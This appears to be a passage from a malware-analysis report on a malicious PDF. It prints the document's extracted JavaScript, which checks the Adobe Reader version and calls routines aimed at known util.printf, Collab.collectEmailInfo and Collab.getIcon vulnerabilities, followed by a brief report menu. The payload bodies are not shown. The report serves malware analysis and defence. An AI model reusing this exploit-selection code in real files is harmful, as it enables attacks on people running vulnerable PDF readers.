app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2